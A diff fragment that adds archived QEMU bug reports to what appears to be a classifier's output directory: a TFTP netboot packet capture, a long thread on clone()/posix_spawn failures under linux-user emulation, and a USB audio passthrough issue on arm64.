filter-dump,id=f1,netdev=n1,file=dump.dat +``` + +qemu v4.2.0-11797-g2890edc853-dirty, from https://qemu.weilnetz.de/w64/ +windows 10 1909 18363.628 + +Here is the captured traffic from dump.dat, no filter applied: +No. Time Source Destination Protocol Length Info +1 0.000000 0.0.0.0 255.255.255.255 DHCP 439 DHCP Discover - Transaction ID 0xdb38340e +2 0.000081 10.0.2.2 255.255.255.255 DHCP 590 DHCP Offer - Transaction ID 0xdb38340e +3 1.035670 0.0.0.0 255.255.255.255 DHCP 439 DHCP Discover - Transaction ID 0xdb38340e +4 1.035693 10.0.2.2 255.255.255.255 DHCP 590 DHCP Offer - Transaction ID 0xdb38340e +5 3.068055 0.0.0.0 255.255.255.255 DHCP 451 DHCP Request - Transaction ID 0xdb38340e +6 3.068099 10.0.2.2 255.255.255.255 DHCP 590 DHCP ACK - Transaction ID 0xdb38340e +7 3.068209 RealtekU_12:34:56 Broadcast ARP 42 ARP Announcement for 10.0.2.15 +8 3.148419 RealtekU_12:34:56 Broadcast ARP 42 Who has 10.0.2.2? Tell 10.0.2.15 +9 3.148449 52:55:0a:00:02:02 RealtekU_12:34:56 ARP 64 10.0.2.2 is at 52:55:0a:00:02:02 +10 3.148511 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +11 3.398093 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +12 3.946041 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +13 4.990262 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14 7.022839 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +15 11.087041 10.0.2.15 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 + + +Here is the captured traffic at host NIC, filered by from or to 192.168.1.31 +No. Time Source Destination Protocol Length Info +14140 57.729066 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14141 57.732988 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14255 57.977995 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14256 57.979876 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14275 58.525939 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14276 58.527819 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14328 59.570178 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14329 59.581024 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14383 61.602742 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14384 61.605554 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14730 62.736572 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14741 62.987924 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14756 63.533477 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14815 64.577653 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +14916 65.666959 192.168.1.24 192.168.1.31 TFTP 91 Read Request, File: grub/i386-pc/core.0, Transfer type: octet, blksize=1432, tsize=0 +14917 65.668778 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +15235 66.615186 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +15481 67.745250 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +15509 67.991523 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +15566 68.539050 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +16691 69.583531 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +17457 70.675366 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +17599 71.615337 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +17904 72.747338 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +18012 72.995681 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +18192 73.544257 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +18360 74.588002 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +18981 75.679037 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +19270 76.620528 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +19839 77.752338 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +19852 78.001267 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +19917 78.548965 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20066 79.593232 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20140 80.684604 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20220 81.625996 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20537 82.824574 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20551 83.033318 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20607 83.555510 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20734 84.598612 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20816 85.691535 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +20898 86.631036 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 +22311 90.695296 192.168.1.31 192.168.1.24 TFTP 69 Option Acknowledgement, tsize=45542, blksize=1432 + +From the traffic, the guest sent the request properly, and it is rerouted outside properly, and the server respond to it properly. However, the guest never received the response. + + + + + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/developers./1673976 b/results/classifier/deepseek-1/output/developers./1673976 new file mode 100644 index 00000000..bfc57df1 --- /dev/null +++ b/results/classifier/deepseek-1/output/developers./1673976 @@ -0,0 +1,307 @@ + +linux-user clone() can't handle glibc posix_spawn() (causes locale-gen to assert) + +I'm running a command command (locale-gen) inside of an armv7h chroot mounted on my x86_64 desktop by putting qemu-arm-static into /usr/bin/ of the chroot file system and I get a core dump. + +locale-gen +Generating locales... + en_US.UTF-8...localedef: ../sysdeps/unix/sysv/linux/spawni.c:360: __spawnix: Assertion `ec >= 0' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped +/usr/bin/locale-gen: line 41: 34 Aborted (core dumped) localedef -i $input -c -f $charset -A /usr/share/locale/locale.alias $locale + +I've done this same thing successfully for years, but this breakage has appeared some time in the last 3 or so months. Possibly with the update to qemu version 2.8. + +I can confirm this. The ninja build system is also affected. + +Could you please check whether the problem also occurs with QEMU v2.10? + +Hi, + +I can confirm it with QEMU 2.10.0 (running Gentoo Linux) + +Portage 2.3.10 (python 2.7.14-final-0, default/linux/amd64/17.0/no-multilib, gcc-7.2.0, glibc-2.25-r5, 4.13.4-gentoo x86_64) + + +# uname -a && locale-gen +Linux **** 4.13.4-gentoo #1 SMP PREEMPT Thu Sep 28 09:41:30 CEST 2017 armv7l Intel(R) Celeron(R) 2957U @ 1.40GHz GNU/Linux + * Generating 8 locales (this might take a while) with 2 jobs + * (2/8) Generating en_US.UTF-8 ... +localedef: ../sysdeps/unix/sysv/linux/spawni.c:366: __spawnix: Assertion `ec >= 0' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped [ !! ] + * (1/8) Generating en_US.ISO-8859-1 ... +localedef: ../sysdeps/unix/sysv/linux/spawni.c:366: __spawnix: Assertion `ec >= 0' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped [ !! ] + * (3/8) Generating fr_BE.ISO-8859-15@euro ... +localedef: ../sysdeps/unix/sysv/linux/spawni.c:366: __spawnix: Assertion `ec >= 0' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped [ !! ] + * (4/8) Generating fr_BE.ISO-8859-1 ... +localedef: ../sysdeps/unix/sysv/linux/spawni.c:366: __spawnix: Assertion `ec >= 0' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped [ !! ] + * (5/8) Generating fr_BE.UTF-8 ... +localedef: ../sysdeps/unix/sysv/linux/spawni.c:366: __spawnix: Assertion `ec >= 0' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped [ !! ] + * (6/8) Generating fr_FR.ISO-8859-15@euro ... +localedef: ../sysdeps/unix/sysv/linux/spawni.c:366: __spawnix: Assertion `ec >= 0' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped [ !! ] + * (7/8) Generating fr_FR.ISO-8859-1 ... +localedef: ../sysdeps/unix/sysv/linux/spawni.c:366: __spawnix: Assertion `ec >= 0' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped [ !! ] + * (8/8) Generating fr_FR.UTF-8 ... +localedef: ../sysdeps/unix/sysv/linux/spawni.c:366: __spawnix: Assertion `ec >= 0' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped [ !! ] + * Generation complete + * Adding locales to archive ... +incomplete set of locale files in "//usr/lib/locale/en_US" +incomplete set of locale files in "//usr/lib/locale/en_US.utf8" +incomplete set of locale files in "//usr/lib/locale/fr_BE" +incomplete set of locale files in "//usr/lib/locale/fr_BE@euro" +incomplete set of locale files in "//usr/lib/locale/fr_BE.utf8" +incomplete set of locale files in "//usr/lib/locale/fr_FR" +incomplete set of locale files in "//usr/lib/locale/fr_FR@euro" +incomplete set of locale files in "//usr/lib/locale/fr_FR.utf8" [ !! ] + + +Looks like the __clone() call is failing for some reason: + +https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/spawni.c;h=dea1650d08ded5fd848f263aebebe8748e703697;hb=HEAD#l362 + + + +Here is a workaround: + +cd /usr/share/i18n/charmaps +gunzip --keep UTF-8.gz +locale-gen en_US.UTF-8 + + + +It is possible to reproduce the issue with a simple clone example taken from + + http://man7.org/linux/man-pages/man2/clone.2.html + + +# qemu-aarch64-static -strace ./a.out testname +585 brk(NULL) = 0x0000004000013000 +585 uname(0x4000812d08) = 0 +585 faccessat(AT_FDCWD,"/etc/ld.so.nohwcap",F_OK,0x82e888) = -1 errno=2 (No such file or directory) +585 mmap(NULL,12288,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x0000004000843000 +585 faccessat(AT_FDCWD,"/etc/ld.so.preload",R_OK,AT_SYMLINK_NOFOLLOW|0x82d848) = -1 errno=2 (No such file or directory) +585 openat(AT_FDCWD,"/etc/ld.so.cache",O_RDONLY|O_CLOEXEC) = 3 +585 fstat(3,0x0000004000812680) = 0 +585 mmap(NULL,20645,PROT_READ,MAP_PRIVATE,3,0) = 0x0000004000846000 +585 close(3) = 0 +585 faccessat(AT_FDCWD,"/etc/ld.so.nohwcap",F_OK,0x82e888) = -1 errno=2 (No such file or directory) +585 openat(AT_FDCWD,"/lib/aarch64-linux-gnu/libc.so.6",O_RDONLY|O_CLOEXEC) = 3 +585 read(3,0x812830,832) = 832 +585 fstat(3,0x00000040008126d0) = 0 +585 mmap(NULL,1393456,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x000000400084c000 +585 mprotect(0x0000004000987000,65536,PROT_NONE) = 0 +585 mmap(0x0000004000997000,24576,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x13b000) = 0x0000004000997000 +585 mmap(0x000000400099d000,13104,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x000000400099d000 +585 close(3) = 0 +585 mprotect(0x0000004000997000,16384,PROT_READ) = 0 +585 mprotect(0x0000004000011000,4096,PROT_READ) = 0 +585 mprotect(0x0000004000840000,4096,PROT_READ) = 0 +585 munmap(0x0000004000846000,20645) = 0 +585 brk(NULL) = 0x0000004000013000 +585 brk(0x0000004000034000) = 0x0000004000013000 +585 mmap(NULL,1048576,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x00000040009a1000 +585 mmap(NULL,1052672,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x0000004000aa1000 +585 clone(CLONE_NEWUTS|0x11,child_stack=0x0000004000ba1010,parent_tidptr=0x0000004000aa1010,tls=0x0000000000000000,child_tidptr=0x0000000000000000) = -1 errno=22 (Invalid argument) +585 dup(2,4222427270,274886578000,22,0,0) = 3 +585 fcntl(3,F_GETFL) = 1026 +585 fstat(3,0x0000004000812628) = 0 +585 write(3,0x9a1490,24)clone: Invalid argument + = 24 +585 close(3) = 0 +585 exit_group(1) + + +# strace ./a.out testname +qemu: Unsupported syscall: 117 +qemu: Unsupported syscall: 117 +/usr/bin/strace: ptrace(PTRACE_TRACEME, ...): Function not implemented ++++ exited with 1 +++ + + +This happens because QEMU is now stricter about its checking of the flags passed to clone() -- previously we would silently allow flags we couldn't support and create new threads with the wrong behaviour. Now we check and fail the clone() syscall if the requested behaviour is something we can't implement. Unfortunately we don't have any way to distinguish "guest program is asking for something odd that it doesn't really need" from "guest program is asking for something odd that it does need". So we err on the safe side and tell the guest we can't do it. + +It's particularly unfortunate that the glibc implementation of posix_spawn() runs into this, though. + + +Is there a way I can ask QEMU to not do this strict checking so that my stuff stops breaking? + +Not without messing with the QEMU source, no. + + +OK, this can't be as simple as "posix_spawn() fails", because I've just tried the test program from the posix_spawn manpage (http://man7.org/linux/man-pages/man3/posix_spawn.3.html) and that works fine for x86-64 guest, aarch64 guest and armhf guest. In the x86 and armhf cases the libc I have seems to use the NR_vfork syscall, but for aarch64 it uses clone(CLONE_VM | CLONE_VFORK | SIGCHLD, ...) which is what the glibc sources linked in comment #5 do, and that all works fine. + +And locale-gen runs fine for my xenial-armhf chroot using current head-of-git QEMU: + +root@e104462:/# locale-gen +Generating locales (this might take a while)... + en_GB.UTF-8... done +Generation complete. + +So can I ask that people: (1) please try with current head of git (or with 2.11-rc1, which is almost the same thing); (2) if there's still a problem with localegen or with programs calling posix_spawn() or other real-world code, please provide full repro instructions so I can try to reproduce locally. + +I don't think we can make clone() in general work, so oddball demo code like the example program in the clone(2) manpage is out of scope, but there may well be specific cases we can address. + + +I can reproduce the bug in a mips64el chroot running current Debian unstable - the posix_spawn example you mention fails there. I have tested v2.11.0-rc2 and it fails there as well. I think you need glibc >= 2.25 to trigger the bug (artful / bionic chroot). I only noticed it due to Debian updating to a newer glibc recently. + +I think I see the problem. This glibc commit rewrote the posix_spawn implementation on Linux: +https://sourceware.org/git/?p=glibc.git;a=commit;h=9ff72da471a509a8c19791efe469f47fa6977410 + +It now relies on the exact behavior of clone(CLONE_VM | CLONE_VFORK) - ie: +- That the parent will wait for the child to exec before continuing. +- Writes to memory in the child are later visible in the parent + +QEMU emulates this clone using fork() which no longer works properly and causes the assertion failure. + +Sorry, this is probably the commit that broke things (not the one above). I was added in glibc 2.25: +https://sourceware.org/git/?p=glibc.git;a=commit;h=4b4d4056bb154603f36c6f8845757c1012758158 + +Thanks for tracking down the glibc change; I will try to set up a chroot with a more recent glibc to see whether we can do something that fixes that posix_spawn implementation... + +Interestingly, this also affects Microsoft Windows Services For Linux, i.e. Microsoft's Linux emulation layer. + +> https://github.com/Microsoft/WSL/issues/1878 + +I have verified that this patch [1] in glibc_2.25 and glibc_2.26 fixes the assert. + +> [1] https://sourceware.org/bugzilla/show_bug.cgi?id=22273 + +This should probably be put under 'glibc', since this is really an issue with that package, which is fixed by the way since Oct 2017. + +https://sourceware.org/git/?p=glibc.git;a=commit;h=fe05e1cb6d64dba6172249c79526f1e9af8f2bfd + +This should also be backported to 17.10 + + +That glibc change has caused the assert to go away, but QEMU's spawn(CLONE_VFORK) still does not have the "always waits for child" semantics that glibc has assumed since glibc commit 4b4d4056bb154. The child and the parent will end up racing each other, and the child will never be able to write to the parent's address space. I think that the effect of that race will be that if the child fails (for instance if a bad filename is passed and exec() fails) the parent will never notice and will return a success code from the spawn function when it should not. + +So there remains a QEMU bug here; though it is also the case that I can't see any way we can fix it. + + +Ok, thank you for clearing that up. + +I'm noticing in 4b4d4056bb154 this comment: + +"...we just make explicit use of the fact the the child and parent run in the same VM, so the child can write an error code to a field of the posix_spawn_args struct instead of sending it through a pipe. To ensure that this mechanism really works, the parent initializes the field to -1 and the child writes 0 before execing." + +So, if the child fail to execute, that error code field of the posix_spawn_args struct will remain -1. Would this ensure that QEMU return error in case of failing exec? + +Best Regards, +Eric + +Commit fe05e1cb6d64db changed that, so args.err is initialized to zero. + + +Ok, yes you are right... + +I have looked a bit more on the source code, and indeed, I think understand the issue with the VFORK with QEMU. Please correct me if I'm wrong... + +- In the syscall trap handler, it has to use the fork() function to emulate the vfork() due to restriction of the vfork() function (as QEMU must continue to control the flow of instruction past the call to vfork(), and do a lot more things in the child thread before ending up performing a execve() or _exit()) +- Also, it can not do a wait() for the emulated child, as this child will continue to exist even after it calls execve(), so the parent would stall. +- Then, I taught about doing condition signalling, like waiting for a pthread condition signal that the child would send once it come to the point of performing the _exit() or execve(), but the child would, for example, need to know if execve() was successful, or otherwise the child would continue and set an error flag and then call _exit(). We do need that error flag before continuing the execution on the parent. So we can not signal back to the parent that the 'emulated vfork' is OK before calling execve(), but we can not wait after execve() because if the call is successful, there is no return from that function, and code goes outside the control of QEMU. + +So, I taught of an idea... What if, in the TARGET_NR_clone syscall trap, when we are called upon a CLONE_VFORK, we do: +- Do a regular fork, as it's currently done, with CLONE_VM flag (so the child share the same memory as the parent). However, we also set a state flag that we are in this 'vfork emulation' mode just before the fork (more on that bellow...). +- Let the parent wait for the child to terminate (again, more on that bellow...). +- Let the child return normally and continue execution, as if the parent was waiting. + +Then, eventually the child will eventually either end up in the TARGET_NR_execve or __NR_exit_group syscall trap. At which point: +- The child check if it is in 'vfork emulation' mode. If not, then there's nothing special, just continue the way the code is currently written. If the flag is set, then follow on with the steps bellow... +- The child set a flag that tell where it is (TARGET_NR_execve or __NR_exit_group, and the arguments passed to that syscall), and that everything is ok (it has not simply died meanwhile). +- The child terminate, which resume the parent's execution. + +The parent then: +- Clear the 'vfork emulation' flag. +- Look at where the child left (was it performing TARGET_NR_execve or __NR_exit_group syscall? What was the arguments passed to the syscall?). This is pretty easy since the child was writing to the parent's memory space the whole time (CLONE_VM). The parent could even use a flag allocated on it's stack before the fork(), since the child will have run with it's own stack during that time (so the parent stack is still intact). +- Now that we know what the child wanted to do (what syscall and which parameters), the parent (which at his point has no more 'leftover' child), can then do a *real* vfork, or otherwise return the proper error code. + +It's a bit far fetched, and I'm far from implying that I know much about QEMU, but this is an idea :-) Sound like it's pretty straightforward though. Basically we just wait for the code between the _clone() function and the _execve/_exit function to complete, at which point we take action and we are in measure to assess the status code (and do the real vfork). + +Regards, +Eric + + +Unfortunately that won't work, because if we do a clone(CLONE_VM) in QEMU that will mean that parent and child share not just the guest address space, but also all the QEMU data structures for the emulated CPUs and also the host libc data structures. Then actions done by the child will update those data structures and break execution of the parent when it resumes. + + +Ok, I taught that could be an issue, but as I said, I don't really know all the internals of QEMU. + +Another idea would be to fork the child, without CLONE_VM, on the initial call to the clone syscall, like it's done right now, and then wait for that child until he call execve or exit syscall. Maybe using some shared memory or IPC to pass the relevant status when the child finally invoke those syscalls. + +When the child finally call one of those, then after signalling the parent about where it is (and the params to the syscall), the child could exit and the parent actually take action. + +Regards, +Eric + + +That way round the child doesn't have the shared memory with the parent, so it can't update the parent's status variable. There's no easy way to say "fork, and then share the guest memory mappings and only the guest memory mappings with the child", because QEMU doesn't currently track what memory the guest has mapped at all. + + +Hello + +Sorry for the delay... + +Actually, you only need the parent to get the status from the child, which can be passed in other way than through common memory. + +The idea is to use pipefd to actually wait for the child to either terminate or successfully call execve. As follow: + + +When the TARGET_NR_clone syscall is trapped, you do: +- Call do_fork(), as currently done +- In do_fork(), at the beginning, if CLONE_VFORK flag is set, keep track of it (i.e. do not clear the flag, just clear the CLONE_VM, as currently done, to do a normal fork, i.e. the child have it's own copy of the memory segments). +- Just before the call to fork(), create a pipefd. +- The parent branch and then (if CLONE_VFORK is set) close the write end of the pipe (it's own copy), and start looping (could be indefinitely, but preferably some sort of timeout logic could be set) on the read fd, waiting continuously for status updates from the child. +- The child branch close the read-end of the pipe (it's own forked copy), set the write-end fd flag FD_CLOEXEC (with fnctl()), and put the write fd into it's QEMU state variables (parent vfork fd). +- The child then move on. + +When the TARGET_NR_execve syscall is trapped (this is in child context), you do: +- Do everything as currently done, up to just before the safe_execve() call. +- Just before the call to safe_execve(), check if the QEMU state variable (parent vfork fd) is defined. If so, tell the the parent (through the pipe), that we are good so far, and about to call execve(). Note that the parent just update the child status, but keep looping endlessly. +- Call the execve(). +- If the above call return, an error occurred. If this occur, check if the QEMU state variable (parent vfork fd) is defined. If so, tell whatever error status you got to the parent (through the pipe). The parent update it's child status, but again, continue to loop endlessly. +- Continue normally. + +That's pretty much the bulk of the work done! What will happen: +- Either the child will eventually call execve, which will succeed, at which point the write end of the pipe will be closed (because we set the pipe to close on execve, with the FD_CLOEXEC flag). +- The child could be playing on us, and try to re-call execve() multiple times (possibly with different arguments, executables path, etc.), but every time, the parent will just receive status update through the pipe. And eventually, the above case will occur (success), and pipe will be closed. +- The child call _exit(), which will close the pipe again. +- The child get some horrible signal, get killed, or whatever else... Pipe still get closed. + +The parent, on it's side, just update the status endlessly, UNTIL the other end of the pipe get closed. At this point, the read() of the pipe will get a 'broken pipe' error. This signal the parent to move on, and return whatever status the child last provided. + +Note that this status could initially be set to an error state (in case the child die or call _exit() before calling execve()). + +The only thing that could make the parent hang is if the child hang (and never call execve() or _exit() or die...). But the beauty is that this is perfectly fine, because that is exactly the required behavior when CLONE_VFORK flag is set (parent wait for the child). + + +This is a lot of description, but should be relatively easy and straightforward to implement. Could this work? + +There are a few examples similar to this on the Web, using pipefd, fork and execve, for different applications. Here, we just pass the status. + +Regards, +Eric + + +> Actually, you only need the parent to get the status from the child, which can be passed in other way than through common memory. + +Certainly, it *can* be, but the glibc code we're trying to run in the guest here doesn't do it in some other way, it uses common memory. Having QEMU effectively pause the parent process until the child has done its execve is certainly possible along the lines you suggest. But that is only half the requirement -- the parent also has to be able to see in its memory space the updates to the status variable that the child has made. + +If you're willing to change the guest code the problem is easy (for instance you could just go back to the old glibc approach). But we need to run the code as it stands. + + +any solution? trying to emulate a closed source amd64 app on my raspberry and i'm getting this error with qemu 5.2.0-rc4 and glibc 2.27. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/140 + + diff --git a/results/classifier/deepseek-1/output/device./1920752 b/results/classifier/deepseek-1/output/device./1920752 new file mode 100644 index 00000000..23524e49 --- /dev/null +++ b/results/classifier/deepseek-1/output/device./1920752 @@ -0,0 +1,110 @@ + +USB SoundCard Passthrough not working on arm64 + +Hello, + +I am virtualizing a armhf guest on a aarch64 host and was to use my Sound Blaster USB Soundcard as passthrough. + +armhf Guest is: Debian Buster +aarch64 host is a jetson nano. KVM is enabled. + +Latest qemu is built from sources. +The command I use for running is as follows: + +../qemu/build/qemu-system-aarch64 -M virt -m 2048 -smp 2 -cpu host,aarch64=off -enable-kvm \ +-kernel vmlinuz-4.19.0-14-armmp-lpae -initrd initrd.img-4.19.0-14-armmp-lpae -append 'root=/dev/vda2' \ +-device nec-usb-xhci -device usb-kbd -device usb-mouse -device usb-host,hostbus=1,hostport=2.3 -serial stdio \ +-device virtio-gpu-pci,virgl=on,xres=1600,yres=900 -display sdl,gl=on \ +-drive if=none,file=hda2.qcow2,format=qcow2,id=hd -device virtio-blk-device,drive=hd \ +-netdev user,id=mynet -device virtio-net-device,netdev=mynet \ +-bios edk2-arm-code.fd -no-reboot + + +Where are my lsusb -t shows: + +rreddy78@jetson-nano:~/Downloads$ lsusb -t +/: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=tegra-xusb/4p, 5000M + |__ Port 1: Dev 3, If 0, Class=Hub, Driver=hub/4p, 5000M +/: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=tegra-xusb/5p, 480M + |__ Port 2: Dev 6, If 0, Class=Hub, Driver=hub/4p, 480M + |__ Port 1: Dev 7, If 0, Class=Human Interface Device, Driver=usbhid, 1.5M + |__ Port 1: Dev 7, If 1, Class=Human Interface Device, Driver=usbhid, 1.5M + |__ Port 3: Dev 8, If 3, Class=Human Interface Device, Driver=usbhid, 12M + |__ Port 3: Dev 8, If 1, Class=Audio, Driver=snd-usb-audio, 12M + |__ Port 3: Dev 8, If 2, Class=Audio, Driver=snd-usb-audio, 12M + |__ Port 3: Dev 8, If 0, Class=Audio, Driver=snd-usb-audio, 12M + |__ Port 4: Dev 9, If 0, Class=Human Interface Device, Driver=usbhid, 1.5M + +Within the VM I can see the usb as follows + +rreddy78@debian:~$ lsusb -t +/: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 5000M +/: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 480M + |__ Port 1: Dev 2, If 0, Class=Human Interface Device, Driver=usbhid, 480M + |__ Port 2: Dev 3, If 0, Class=Human Interface Device, Driver=usbhid, 480M + + +Its looks like some passthrough as but it seems like only for + + _ Port 3: Dev 8, If 3, Class=Human Interface Device, Driver=usbhid, 12M + +I am not sure if passthrough even works because this post I saw + +https://community.arm.com/developer/ip-products/system/f/embedded-forum/48031/usb-pass-through-in-qemu-command-line-for-arm-machines/168764#168764 + +Hi, do you see errors on stderr when running with "-d guest_errors"? +If so can you attach the log produced by using "-D guest_errors.log -d guest_errors"? + + +Not much. + +Here is the log + +gic_cpu_read: Bad offset fc +gic_cpu_read: Bad offset fc +virtio_mmio_write: attempt to write guest features with guest_features_sel > 0 in legacy mode +virtio_mmio_write: attempt to write guest features with guest_features_sel > 0 in legacy mode + + +This time I used it differently i.e: + +rreddy78@jetson-nano:~/debian-buster-qemu$ lsusb -s 1:8 +Bus 001 Device 008: ID 041e:324d Creative Technology, Ltd + +And + +-device usb-host,vendorid=0x041e,productid=0x324d -D guest_errors.log -d guest_errors + + + +Can you record usb traffic (add pcap=<file> to usb-host)? + +I ran it as follows: + + qemu-system-aarch64 -M virt -m 2048 -smp 2 -cpu host,aarch64=off -enable-kvm -kernel vmlinuz-4.19.0-14-armmp-lpae -initrd initrd.img-4.19.0-14-armmp-lpae -append 'root=/dev/vda2' -device nec-usb-xhci -device usb-kbd -device usb-mouse -device usb-host,pcap=test.pcap,hostbus=1,hostport=2.1 -serial stdio -device virtio-gpu-pci,virgl=on,xres=1600,yres=900 -display sdl,gl=on -drive if=none,file=hda2.qcow2,format=qcow2,id=hd -device virtio-blk-device,drive=hd -netdev user,id=mynet -device virtio-net-device,netdev=mynet -bios edk2-arm-code.fd -no-reboot + +But the pcap file is empty: + +file test.pcap +test.pcap: empty + + + + +Hello, + +You can close this bug as as a simple usb-audio switch is working fine for me: +I just added -device usb-audio and set the -device nec-usb-xhci and sound within the qemu is working fine.. + +qemu-system-aarch64 -M virt -m 2048 -smp 2 -cpu host,aarch64=off -enable-kvm -kernel vmlinuz-4.19.0-14-armmp-lpae -initrd initrd.img-4.19.0-14-armmp-lpae -append 'root=/dev/vda2' -device nec-usb-xhci,id=xhci -device usb-kbd -device usb-mouse -device usb-audio -serial stdio -device virtio-gpu-pci,virgl=on,xres=1600,yres=900 -display sdl,gl=on -drive if=none,file=hda2.qcow2,format=qcow2,id=hd -device virtio-blk-device,drive=hd -netdev user,id=mynet -device virtio-net-device,netdev=mynet -bios edk2-arm-code.fd -no-reboot + + +One more point. The solution above is not usb passthrough. +I just noticed that qemu needs to be configured for usb passthrough. I am trying that out now + +Configure with --enable-libusb + libusb libusb (for usb passthrough) + + +Closing as requested in comment #6 + diff --git a/results/classifier/deepseek-1/output/device/1013691 